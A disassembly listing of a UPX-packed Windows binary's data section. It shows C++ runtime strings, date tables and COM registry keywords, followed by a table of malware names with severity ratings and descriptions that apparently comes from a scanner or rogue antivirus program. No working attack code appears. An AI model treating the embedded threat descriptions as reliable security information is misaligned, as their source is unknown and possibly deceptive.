aUdtReturning db '`udt returning',27h,0 ; DATA XREF: UPX0:0041E4F4o aCopyConstructo db '`copy constructor closure',27h,0 ; DATA XREF: UPX0:0041E4F0o align 4 aEhVectorVbas_0 db '`eh vector vbase constructor iterator',27h,0 ; DATA XREF: UPX0:0041E4ECo align 4 aEhVectorDestru db '`eh vector destructor iterator',27h,0 ; DATA XREF: UPX0:0041E4E8o aEhVectorConstr db '`eh vector constructor iterator',27h,0 ; DATA XREF: UPX0:0041E4E4o align 10h aVirtualDisplac db '`virtual displacement map',27h,0 ; DATA XREF: UPX0:0041E4E0o align 4 aVectorVbaseCon db '`vector vbase constructor iterator',27h,0 ; DATA XREF: UPX0:0041E4DCo aVectorDestruct db '`vector destructor iterator',27h,0 ; DATA XREF: UPX0:0041E4D8o align 10h aVectorConstruc db '`vector constructor iterator',27h,0 ; DATA XREF: UPX0:0041E4D4o align 10h aScalarDeleting db '`scalar deleting destructor',27h,0 ; DATA XREF: UPX0:0041E4D0o align 10h aDefaultConstru db '`default constructor closure',27h,0 ; DATA XREF: UPX0:0041E4CCo align 10h aVectorDeleting db '`vector deleting destructor',27h,0 ; DATA XREF: UPX0:0041E4C8o align 10h aVbaseDestructo db '`vbase destructor',27h,0 ; DATA XREF: UPX0:0041E4C4o align 4 aString db '`string',27h,0 ; DATA XREF: UPX0:0041E4C0o align 10h aLocalStaticGua db '`local static guard',27h,0 ; DATA XREF: UPX0:0041E4BCo align 4 aTypeof db '`typeof',27h,0 ; DATA XREF: UPX0:0041E4B8o align 4 aVcall db '`vcall',27h,0 ; DATA XREF: UPX0:0041E4B4o aVbtable db '`vbtable',27h,0 ; DATA XREF: UPX0:0041E4B0o align 4 aVftable db '`vftable',27h,0 ; DATA XREF: UPX0:0041E4ACo align 4 asc_41E2A4 db '^=',0 ; DATA XREF: UPX0:0041E4A8o align 4 asc_41E2A8 db '|=',0 ; DATA XREF: UPX0:0041E4A4o align 4 asc_41E2AC db '&=',0 ; DATA XREF: UPX0:0041E4A0o align 10h asc_41E2B0 db '<<=',0 ; DATA XREF: UPX0:0041E49Co asc_41E2B4 db '>>=',0 ; DATA XREF: UPX0:0041E498o asc_41E2B8 db '%=',0 ; DATA XREF: UPX0:0041E494o align 4 asc_41E2BC db '/=',0 ; DATA XREF: UPX0:0041E490o align 10h asc_41E2C0 db '-=',0 ; DATA XREF: UPX0:0041E48Co align 4 asc_41E2C4 db '+=',0 ; DATA XREF: UPX0:0041E488o align 4 asc_41E2C8 db '*=',0 ; DATA XREF: UPX0:0041E484o align 4 asc_41E2CC db '||',0 ; DATA XREF: UPX0:0041E480o align 10h asc_41E2D0 db '&&',0 ; DATA XREF: UPX0:0041E47Co align 4 asc_41E2D4: ; DATA XREF: UPX0:0041E478o unicode 0, <|>,0 asc_41E2D8: ; DATA XREF: UPX0:0041E474o unicode 0, <^>,0 asc_41E2DC: ; DATA XREF: UPX0:0041E470o unicode 0, <~>,0 asc_41E2E0 db '()',0 ; DATA XREF: UPX0:0041E46Co align 4 asc_41E2E4: ; DATA XREF: UPX0:0041E468o unicode 0, <,>,0 asc_41E2E8 db '>=',0 ; DATA XREF: UPX0:0041E464o align 4 asc_41E2EC: ; DATA XREF: UPX0:0041E460o dw 3Eh unicode 0, <>,0 asc_41E2F0 db '<=',0 ; DATA XREF: UPX0:0041E45Co align 4 asc_41E2F4: ; DATA XREF: UPX0:0041E458o dw 3Ch unicode 0, <>,0 asc_41E2F8: ; DATA XREF: UPX0:0041E454o unicode 0, <%>,0 asc_41E2FC: ; DATA XREF: UPX0:0041E450o unicode 0, </>,0 asc_41E300 db '->*',0 ; DATA XREF: UPX0:0041E44Co asc_41E304: ; DATA XREF: UPX0:0041E448o unicode 0, <&>,0 asc_41E308: ; DATA XREF: UPX0:0041E444o unicode 0, <+>,0 asc_41E30C: ; DATA XREF: UPX0:0041E440o unicode 0, <->,0 asc_41E310 db '--',0 ; DATA XREF: UPX0:0041E43Co align 4 asc_41E314 db '++',0 ; DATA XREF: UPX0:0041E438o align 4 asc_41E318: ; DATA XREF: UPX0:0041E434o unicode 0, <*>,0 asc_41E31C db '->',0 ; DATA XREF: UPX0:0041E430o align 10h aOperator db 'operator',0 ; DATA XREF: UPX0:0041E42Co align 4 asc_41E32C db '[]',0 ; DATA XREF: UPX0:0041E428o align 10h asc_41E330 db '!=',0 ; DATA XREF: UPX0:0041E424o align 4 asc_41E334 db '==',0 ; DATA XREF: UPX0:0041E420o align 4 asc_41E338: ; DATA XREF: UPX0:0041E41Co unicode 0, <!>,0 asc_41E33C db '<<',0 ; DATA XREF: UPX0:0041E418o align 10h asc_41E340 db '>>',0 ; DATA XREF: UPX0:0041E414o align 4 aDelete_1 db ' delete',0 ; DATA XREF: UPX0:0041E40Co aNew_0 db ' new',0 ; DATA XREF: UPX0:0041E408o align 4 a__unaligned db '__unaligned',0 ; DATA XREF: UPX0:0041E3ECo a__restrict db '__restrict',0 ; DATA XREF: UPX0:0041E3E8o align 4 ; a__ptr64 a__ptr64 db '__ptr64',0 ; DATA XREF: UPX0:0041E3E4o a__clrcall db '__clrcall',0 ; DATA XREF: UPX0:0041E3E0o align 10h a__fastcall db '__fastcall',0 ; DATA XREF: UPX0:0041E3DCo align 4 a__thiscall db '__thiscall',0 ; DATA XREF: UPX0:0041E3D8o align 4 a__stdcall db '__stdcall',0 ; DATA XREF: UPX0:0041E3D4o align 4 a__pascal db '__pascal',0 ; DATA XREF: UPX0:0041E3D0o align 10h a__cdecl db '__cdecl',0 ; DATA XREF: UPX0:0041E3CCo a__based db '__based(',0 ; DATA XREF: UPX0:0041E3C8o align 8 dd offset a__based ; "__based(" dd offset a__cdecl ; "__cdecl" dd offset a__pascal ; "__pascal" dd offset a__stdcall ; "__stdcall" dd offset a__thiscall ; "__thiscall" dd offset a__fastcall ; "__fastcall" dd offset a__clrcall ; "__clrcall" dd offset a__ptr64 ; "__ptr64" dd offset a__restrict ; "__restrict" dd offset a__unaligned ; "__unaligned" dd offset off_4246EE dd offset aTypeDescriptor ; " Type Descriptor'" dd offset aBaseClassDescr ; " Base Class Descriptor at (" dd offset aBaseClassArray ; " Base Class Array'" dd offset aClassHierarchy ; " Class Hierarchy Descriptor'" dd offset aCompleteObject ; " Complete Object Locator'" dd offset aNew_0 ; " new" dd offset aDelete_1 ; " delete" dd offset dword_41DD40 dd offset asc_41E340 ; ">>" dd offset asc_41E33C ; "<<" dd offset asc_41E338 ; "!" dd offset asc_41E334 ; "==" dd offset asc_41E330 ; "!=" dd offset asc_41E32C ; "[]" dd offset aOperator ; "operator" dd offset asc_41E31C ; "->" dd offset asc_41E318 ; "*" dd offset asc_41E314 ; "++" dd offset asc_41E310 ; "--" dd offset asc_41E30C ; "-" dd offset asc_41E308 ; "+" dd offset asc_41E304 ; "&" dd offset asc_41E300 ; "->*" dd offset asc_41E2FC ; "/" dd offset asc_41E2F8 ; "%" dd offset asc_41E2F4 ; "<" dd offset asc_41E2F0 ; "<=" dd offset asc_41E2EC ; ">" dd offset asc_41E2E8 ; ">=" dd offset asc_41E2E4 ; "," dd offset asc_41E2E0 ; "()" dd offset asc_41E2DC ; "~" dd offset asc_41E2D8 ; "^" dd offset asc_41E2D4 ; "|" dd offset asc_41E2D0 ; "&&" dd offset asc_41E2CC ; "||" dd offset asc_41E2C8 ; "*=" dd offset asc_41E2C4 ; "+=" dd offset asc_41E2C0 ; "-=" dd offset asc_41E2BC ; "/=" dd offset asc_41E2B8 ; "%=" dd offset asc_41E2B4 ; ">>=" dd offset asc_41E2B0 ; "<<=" dd offset asc_41E2AC ; "&=" dd offset asc_41E2A8 ; "|=" dd offset asc_41E2A4 ; "^=" dd offset aVftable ; "`vftable'" dd offset aVbtable ; "`vbtable'" dd offset aVcall ; "`vcall'" dd offset aTypeof ; "`typeof'" dd offset aLocalStaticGua ; "`local static guard'" dd offset aString ; "`string'" dd offset aVbaseDestructo ; "`vbase destructor'" dd offset aVectorDeleting ; "`vector deleting destructor'" dd offset aDefaultConstru ; "`default constructor closure'" dd offset aScalarDeleting ; "`scalar deleting destructor'" dd offset aVectorConstruc ; "`vector constructor iterator'" dd offset aVectorDestruct ; "`vector destructor iterator'" dd offset aVectorVbaseCon ; "`vector vbase constructor iterator'" dd offset aVirtualDisplac ; "`virtual displacement map'" dd offset aEhVectorConstr ; "`eh vector constructor iterator'" dd offset aEhVectorDestru ; "`eh vector destructor iterator'" dd offset aEhVectorVbas_0 ; "`eh vector vbase constructor iterator'" dd offset aCopyConstructo ; "`copy constructor closure'" dd offset aUdtReturning ; "`udt returning'" dd offset aEh ; "`EH" dd offset aRtti ; "`RTTI" dd offset aLocalVftable ; "`local vftable'" dd offset aLocalVftableCo ; "`local vftable constructor closure'" dd offset aNew ; " new[]" dd offset aDelete_0 ; " delete[]" dd offset aOmniCallsig ; "`omni callsig'" dd offset aPlacementDel_0 ; "`placement delete closure'" dd offset aPlacementDelet ; "`placement delete[] closure'" dd offset aManagedVecto_0 ; "`managed vector constructor iterator'" dd offset aManagedVectorD ; "`managed vector destructor iterator'" dd offset aEhVectorCopyCo ; "`eh vector copy constructor iterator'" dd offset aEhVectorVbaseC ; "`eh vector vbase copy constructor itera"... dd offset aDynamicInitial ; "`dynamic initializer for '" dd offset aDynamicAtexitD ; "`dynamic atexit destructor for '" dd offset aVectorCopyCons ; "`vector copy constructor iterator'" dd offset aVectorVbaseCop ; "`vector vbase copy constructor iterator"... dd offset aManagedVectorC ; "`managed vector copy constructor iterat"... dd offset aLocalStaticThr ; "`local static thread guard'" dd offset off_4246EE aSystemroot db 'SystemRoot',0 ; DATA XREF: sub_413E93+1Bo align 4 dword_41E554 dd 41h dup(0) ; sub_414FEE+29o ... asc_41E658: ; DATA XREF: UPX0:off_42ACC8o ; UPX0:0042AD34o unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) dword_41E858 dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h ; DATA XREF: UPX0:0042AD38o ; UPX0:0042ABF0o dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h) dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h) dd 3 dup(100010h), 3 dup(1820182h), 0Ah dup(1020102h) dd 2 dup(100010h), 10h dup(200020h), 480020h, 8 dup(100010h) dd 140010h, 100014h, 2 dup(100010h), 100014h, 2 dup(100010h) dd 1010010h, 0Bh dup(1010101h), 1010010h, 3 dup(1010101h) dd 0Ch dup(1020102h), 1020010h, 3 dup(1020102h), 1010102h dd 0 dword_41EA60 dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h dd 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h, 0B0A0908h dd 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h, 1F1E1D1Ch dd 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch, 33323130h dd 37363534h, 3B3A3938h, 3F3E3D3Ch, 63626140h, 67666564h dd 6B6A6968h, 6F6E6D6Ch, 73727170h, 77767574h, 5B7A7978h dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh dd 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h dd 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h, 0E7E6E5E4h dd 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h, 0FBFAF9F8h dd 0FFFEFDFCh, 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch dd 93929190h, 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h dd 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h dd 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h dd 0CFCECDCCh, 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F7F6F5F4h, 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h dd 0B0A0908h, 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h dd 1F1E1D1Ch, 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch dd 33323130h, 37363534h, 3B3A3938h, 3F3E3D3Ch, 43424140h dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h dd 5B5A5958h, 5F5E5D5Ch, 43424160h, 47464544h, 4B4A4948h dd 4F4E4D4Ch, 53525150h, 57565554h, 7B5A5958h, 7F7E7D7Ch dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h dd 0FBFAF9F8h, 0FFFEFDFCh, 6D3A4848h, 73733A6Dh, 0 aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: UPX0:0042ADE4o aMmDdYy db 'MM/dd/yy',0 ; DATA XREF: UPX0:0042ADE0o align 4 aPm db 'PM',0 ; DATA XREF: UPX0:0042ADDCo align 10h aAm db 'AM',0 ; DATA XREF: UPX0:0042ADD8o align 4 aDecember db 'December',0 ; DATA XREF: UPX0:0042ADD4o align 10h aNovember db 'November',0 ; DATA XREF: UPX0:0042ADD0o align 4 aOctober db 'October',0 ; DATA XREF: UPX0:0042ADCCo aSeptember db 'September',0 ; DATA XREF: UPX0:0042ADC8o align 10h aAugust db 'August',0 ; DATA XREF: UPX0:0042ADC4o align 4 aJuly db 'July',0 ; DATA XREF: UPX0:0042ADC0o align 10h aJune db 'June',0 ; DATA XREF: UPX0:0042ADBCo align 4 aApril db 'April',0 ; DATA XREF: UPX0:0042ADB4o align 10h aMarch db 'March',0 ; DATA XREF: UPX0:0042ADB0o align 4 aFebruary db 'February',0 ; DATA XREF: UPX0:0042ADACo align 4 aJanuary db 'January',0 ; DATA XREF: UPX0:0042ADA8o aDec db 'Dec',0 ; DATA XREF: UPX0:0042ADA4o aNov db 'Nov',0 ; DATA XREF: UPX0:0042ADA0o aOct db 'Oct',0 ; DATA XREF: UPX0:0042AD9Co aSep db 'Sep',0 ; DATA XREF: UPX0:0042AD98o aAug db 'Aug',0 ; DATA XREF: UPX0:0042AD94o aJul db 'Jul',0 ; DATA XREF: UPX0:0042AD90o aJun db 'Jun',0 ; DATA XREF: UPX0:0042AD8Co aMay db 'May',0 ; DATA XREF: UPX0:0042AD88o ; UPX0:0042ADB8o aApr db 'Apr',0 ; DATA XREF: UPX0:0042AD84o aMar db 'Mar',0 ; DATA XREF: UPX0:0042AD80o aFeb db 'Feb',0 ; DATA XREF: UPX0:0042AD7Co aJan db 'Jan',0 ; DATA XREF: UPX0:0042AD78o aSaturday db 'Saturday',0 ; DATA XREF: UPX0:0042AD74o align 4 aFriday db 'Friday',0 ; DATA XREF: UPX0:0042AD70o align 10h aThursday db 'Thursday',0 ; DATA XREF: UPX0:0042AD6Co align 4 aWednesday db 'Wednesday',0 ; DATA XREF: UPX0:0042AD68o align 4 aTuesday db 'Tuesday',0 ; DATA XREF: UPX0:0042AD64o aMonday db 'Monday',0 ; DATA XREF: UPX0:0042AD60o align 4 aSunday db 'Sunday',0 ; DATA XREF: UPX0:0042AD5Co align 10h aSat db 'Sat',0 ; DATA XREF: sub_4128E7+105r ; UPX0:0042AD58o aFri db 'Fri',0 ; DATA XREF: UPX0:0042AD54o aThu db 'Thu',0 ; DATA XREF: UPX0:0042AD50o aWed db 'Wed',0 ; DATA XREF: UPX0:0042AD4Co aTue db 'Tue',0 ; DATA XREF: UPX0:0042AD48o aMon db 'Mon',0 ; DATA XREF: UPX0:0042AD44o aSun db 'Sun',0 ; DATA XREF: UPX0:off_42AD40o align 10h byte_41EE90 db 6 ; DATA XREF: sub_4128E7+11Cr db 2 dup(80h), 86h dd 808180h, 86031000h, 80828680h, 45050514h, 85854545h dd 585h, 50803030h, 8008880h, 38272800h, 805750h, 30370007h dd 88505030h, 20000000h, 80888028h, 80h aHHhhXppwpp db '`h`hhh',8,8,7,'xppwpp',8,8,0 dw 800h dd 7000800h, 8 dword_41EEEC dd 4F4E4F43h, 245455haSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 dword_41EF34 dd 100h, 0 ; sub_406C2A+81o ... dd 0C0h, 46000000h, 0 dword_41EF48 dd 53h, 41EF48h dword_41EF50 dd 4Dh, 41EF50h dword_41EF58 dd 44h, 41EF58h dword_41EF60 dd 42h, 41EF60h aVal: ; DATA XREF: sub_4083DE:loc_408581o ; UPX0:0041EF70o unicode 0, <Val>,0 dd offset aVal ; "Val" aForceremove: ; DATA XREF: sub_4083DE+97o ; UPX0:0041EF8Co unicode 0, <ForceRemove>,0 dd offset aForceremove ; "ForceRemove" aNoremove: ; DATA XREF: sub_4083DE:loc_408558o ; UPX0:0041EFA4o unicode 0, <NoRemove>,0 align 4 dd offset aNoremove ; "NoRemove" aDelete: ; DATA XREF: sub_4083DE+83o ; UPX0:0041EFB8o unicode 0, <Delete>,0 align 4 dd offset aDelete ; "Delete" aTypelib: unicode 0, <TypeLib>,0 aSoftware: unicode 0, <Software>,0 align 10h aSystem: unicode 0, <SYSTEM>,0 align 10h dd offset byte_450053 aCurity: unicode 0, <CURITY>,0 align 4 dd offset loc_410053 dd 4Dh, 69004Dh, 65006Dh, 0 aHardware: unicode 0, <Hardware>,0 align 4 aInterface: unicode 0, <Interface>,0 aFiletype: unicode 0, <FileType>,0 align 4 aComponentCateg: unicode 0, <Component Categories>,0 align 10h aClsid: unicode 0, <CLSID>,0 aAppid_1: unicode 0, <AppID>,0 unicode 0, <:>,0 dd 2 dup(0) dword_41F0A4 dd 20646162h, 6F6C6C61h, 69746163h, 6E6FhaHttp: ; DATA XREF: sub_417173+18o unicode 0, <http://>,0 aMicrosoftInter: ; DATA XREF: sub_417173+71o unicode 0, <Microsoft Internet Explorer>,0 aMicrosoftInt_0: ; DATA XREF: sub_417173+87o unicode 0, <Microsoft Internet Explorer>,0 aAnonymous: ; DATA XREF: sub_417173+A1o unicode 0, <anonymous>,0 aLdpinchV: ; DATA XREF: UPX0:off_42DA58o unicode 0, <LdPinch V>,0 aCritical: ; DATA XREF: UPX0:off_42DA5Co unicode 0, <Critical>,0 align 10h aAVariantOfTheK: ; DATA XREF: UPX0:off_42DA60o unicode 0, <A variant of the Key Logger that captures passwords as th> unicode 0, <ey are entered or transmitted. Some password capture troj> unicode 0, <ans impersonate the login prompt, asking the user to prov> unicode 0, <ide their password.>,0 align 10h aAdvancedStealt: ; DATA XREF: UPX0:0042DA64o unicode 0, <Advanced Stealth Email Redirector 6.2>,0 aCritical_0: ; DATA XREF: UPX0:0042DA68o unicode 0, <Critical>,0 align 10h aAdvancedStea_0: ; DATA XREF: UPX0:0042DA6Co unicode 0, <Advanced Stealth Email Redirector (Advanced SER) is a pro> unicode 0, <gram that sends the copies of all outgoing emails. Advanc> unicode 0, <ed SER monitors outgoing traffic of email client software> unicode 0, < and intercepts all sending emails. Then program sends ou> unicode 0, <t intercepted emails to specified email addresses. Advanc> unicode 0, <ed Stealth Email Redirector (Advanced SER) do not interce> unicode 0, <pts emails are sending from web-based email services like> unicode 0, < a www.yahoo.com, www.hotmail.com etc.>,0 aVmalumAws: ; DATA XREF: UPX0:0042DA70o unicode 0, <VMalum AWS>,0 align 4 aHigh: ; DATA XREF: UPX0:0042DA74o unicode 0, <High>,0 align 10h aTrojanAnyProgr: ; DATA XREF: UPX0:0042DA78o unicode 0, <Trojan: Any program with a hidden intent. Trojans are on> unicode 0, <e of the leading causes of breaking into machines. If you> unicode 0, < pull down a program from a chat room, new group, or even> unicode 0, < from unsolicited e-mail, then the program is likely troj> unicode 0, <aned with some subversive purpose. The word Trojan can be> unicode 0, < used as a verb: To trojan a program is to add subversive> unicode 0, < functionality to an existing program. For example, a tro> unicode 0, <janed login program might be programmed to accept a certa> unicode 0, <in password for any user`s account that the hacker can us> unicode 0, <e to log back into the system at any time. Rootkits often> unicode 0, < contain a suite of such trojaned programs.>,0 aCnnicUpdateU: ; DATA XREF: UPX0:0042DA7Co unicode 0, <CNNIC Update U>,0 align 4 aVeryHigh: ; DATA XREF: UPX0:0042DA80o unicode 0, <Very high>,0 aAProgramThatDo: ; DATA XREF: UPX0:0042DA84o unicode 0, <A program that downloads and may execute or install softw> unicode 0, <are without user permission.>,0 aBancosDmd: ; DATA XREF: UPX0:0042DA88o unicode 0, <Bancos DMD>,0 align 4 aCritical_1: ; DATA XREF: UPX0:0042DA8Co unicode 0, <Critical>,0 align 4 aAVariantOfTh_0: ; DATA XREF: UPX0:0042DA90o unicode 0, <A variant of the Key Logger that captures passwords as th> unicode 0, <ey are entered or transmitted. Some password capture troj> unicode 0, <ans impersonate the login prompt, asking the user to prov> unicode 0, <ide their password.>,0 align 4 aWin32_grams_i: ; DATA XREF: UPX0:0042DA94o unicode 0, <Win32.Grams.I>,0 aCritical_2: ; DATA XREF: UPX0:0042DA98o unicode 0, <Critical>,0 align 4 aWin32_grams_iI: ; DATA XREF: UPX0:0042DA9Co unicode 0, <Win32.Grams.I is a trojan that attempts to steal e-Gold f> unicode 0, <unds.>,0 align 4 aZlobAn: ; DATA XREF: UPX0:0042DAA0o unicode 0, <Zlob AN>,0 aVeryHigh_0: ; DATA XREF: UPX0:0042DAA4o unicode 0, <Very high>,0 aVeryHigh_1: ; DATA XREF: UPX0:0042DAB0o unicode 0, <Very High>,0 aAProgramThat_0: ; DATA XREF: UPX0:0042DAA8o unicode 0, <A program that downloads and may execute or install softw> unicode 0, <are without user permission.>,0 aSillydlBcl: ; DATA XREF: UPX0:0042DAACo unicode 0, <SillyDl BCL>,0 aCpush: ; DATA XREF: UPX0:0042DAB8o unicode 0, <CPush>,0 aAProgramThat_1: ; DATA XREF: UPX0:0042DAB4o unicode 0, <A program that downloads and may execute or install softw> unicode 0, <are without user permission.>,0 aMedium: ; DATA XREF: UPX0:0042DABCo unicode 0, <Medium>,0 align 10h aCategoryAdware: ; DATA XREF: UPX0:0042DAC0o unicode 0, <Category Adware: Software that displays pop-up/pop-under> unicode 0, < advertisements when the primary user interface is not vi> unicode 0, <sible, or which do not appear to be associated with the p> unicode 0, <roduct.>,0 align 4 aWin32Wadnock: ; DATA XREF: UPX0:0042DAC4o unicode 0, <Win32/Wadnock>,0 aHigh_0: ; DATA XREF: UPX0:0042DAC8o unicode 0, <High>,0 align 10h aWin32WadnockAr: ; DATA XREF: UPX0:0042DACCo unicode 0, <Win32/Wadnock are a family of worms that spread by exploi> unicode 0, <ting Windows vulnerabilities. They also disable direct ac> unicode 0, <cess to Internet banking sites and have limited backdoor > unicode 0, <functionality.>,0 aBestSearch: ; DATA XREF: UPX0:0042DAD0o unicode 0, <Best search>,0 aMedium_0: ; DATA XREF: UPX0:0042DAD4o unicode 0, <Medium>,0 align 10h aCategoryAdwa_0: ; DATA XREF: UPX0:0042DAD8o unicode 0, <Category Adware: Software that displays pop-up/pop-under> unicode 0, < advertisements when the primary user interface is not vi> unicode 0, <sible, or which do not appear to be associated with the p> unicode 0, <roduct.>,0 align 4 aWin32Nuqel_e: ; DATA XREF: UPX0:0042DADCo unicode 0, <Win32/Nuqel.E>,0 aHigh_1: ; DATA XREF: UPX0:0042DAE0o unicode 0, <High>,0 align 10h aWin32Nuqel_eIs: ; DATA XREF: UPX0:0042DAE4o unicode 0, <Win32/Nuqel.E is a worm that spreads via network shares a> unicode 0, <nd sends messages via the chat client Yahoo! Messenger. I> unicode 0, <t also can obfuscate its presence on an affected system a> unicode 0, <nd terminate processes.>,0 align 4 aEdgeTech: ; DATA XREF: UPX0:0042DAE8o unicode 0, <Edge Tech>,0 aMedium_1: ; DATA XREF: UPX0:0042DAECo unicode 0, <Medium>,0 align 10h aCategoryAdwa_1: ; DATA XREF: UPX0:0042DAF0o unicode 0, <Category Adware: Software that displays pop-up/pop-under> unicode 0, < advertisements when the primary user interface is not vi> unicode 0, <sible, or which do not appear to be associated with the p> unicode 0, <roduct.>,0 align 4 aDisablekey: ; DATA XREF: UPX0:0042DAF4o unicode 0, <DisableKey>,0 align 10h aMedium_2: ; DATA XREF: UPX0:0042DAF8o unicode 0, <Medium>,0 align 10h aCategoryAdwa_2: ; DATA XREF: UPX0:0042DAFCo unicode 0, <Category Adware: Software that displays pop-up/pop-under> unicode 0, < advertisements when the primary user interface is not vi> unicode 0, <sible, or which do not appear to be associated with the p> unicode 0, <roduct.>,0 align 4 aEmogen_b: ; DATA XREF: UPX0:0042DB00o unicode 0, <Emogen.B>,0 align 4 aMedium_3: ; DATA XREF: UPX0:0042DB04o unicode 0, <Medium>,0 align 10h aCategoryBackdo: ; DATA XREF: UPX0:0042DB08o unicode 0, <Category Backdoor: It is a critical vulnerability in Inte> unicode 0, <rnet Explorer versions 5.01 and 6 SP1 on Windows 2000, 6 > unicode 0, <on Windows 2003/XP computers and 7 on Windows 2008/Vista/> unicode 0, <2003/XP, which allows hackers to gain remote control of t> unicode 0, <he affected computer with the same privileges as the logg> unicode 0, <ed on user...>,0 align 4 aMoonlight_v: ; DATA XREF: UPX0:0042DB0Co unicode 0, <MoonLight.V>,0 aHigh_2: ; DATA XREF: UPX0:0042DB10o unicode 0, <High>,0 align 10h aCategoryWormIt: ; DATA XREF: UPX0:0042DB14o unicode 0, <Category Worm: Its main objective is to spread through pe> unicode 0, <er-to-peer (P2P) file sharing programs and email. It reac> unicode 0, <hes the computer in a file which has the default icon of > unicode 0, <a Windows folder...>,0 align 10h aAutorun_aol: ; DATA XREF: UPX0:0042DB18o unicode 0, <Autorun.AOL>,0 aHigh_3: ; DATA XREF: UPX0:0042DB1Co unicode 0, <High>,0 align 8 aCategoryWorm_0: ; DATA XREF: UPX0:0042DB20o unicode 0, <Category Worm: It spreads exploiting the vulnerability ca> unicode 0, <lled MS04-011, across networks and through removable driv> unicode 0, <es. It has backdoor characteristics, as it attempts to co> unicode 0, <nnect to an IRC channel in order to receive remote instru> unicode 0, <ctions...>,0 aSinowal_vxr: ; DATA XREF: UPX0:0042DB24o unicode 0, <Sinowal.VXR>,0 aVeryHigh_2: ; DATA XREF: UPX0:0042DB28o unicode 0, <Very High>,0 aCategoryTrojan: ; DATA XREF: UPX0:0042DB2Co unicode 0, <Category Trojan: It is designed to obtain confidential in> unicode 0, <formation related to certain British banking entities. It> unicode 0, < does not spread automatically by its own means...>,0 align 4 aAntivirus360: ; DATA XREF: UPX0:0042DB30o unicode 0, <Antivirus360>,0 align 4 aHigh_4: ; DATA XREF: UPX0:0042DB34o unicode 0, <High>,0 align 8 aCategoryAdwa_3: ; DATA XREF: UPX0:0042DB38o unicode 0, <Category Adware: It deceives users and warns them of unex> unicode 0, <isting threats in their computers. In order to eliminate > unicode 0, <them, they are enticed to purchase a certain program. It > unicode 0, <can be downloaded from the website belonging to the compa> unicode 0, <ny that has developed it...>,0 aBankerfox_a: ; DATA XREF: UPX0:0042DB3Co unicode 0, <BankerFox.A>,0 aMedium_4: ; DATA XREF: UPX0:0042DB40o unicode 0, <Medium>,0 align 10h aCategoryTroj_0: ; DATA XREF: UPX0:0042DB44o unicode 0, <Category Trojan: It is designed to steal users banking da> unicode 0, <ta related to certain banking entities. When they access > unicode 0, <the website of the affected banks through the Firefox bro> unicode 0, <wser, the Trojan is activated and logs the information en> unicode 0, <tered by the users in the website. It does not spread aut> unicode 0, <omatically using its own means...>,0 align 10h aP2pshared_u: ; DATA XREF: UPX0:0042DB48o unicode 0, <P2PShared.U>,0 aHigh_5: ; DATA XREF: UPX0:0042DB4Co unicode 0, <High>,0 align 8 aCategoryWorm_1: ; DATA XREF: UPX0:0042DB50o unicode 0, <Category Worm: Its main objective is to spread through pe> unicode 0, <er-to-peer (P2P) file sharing programs, 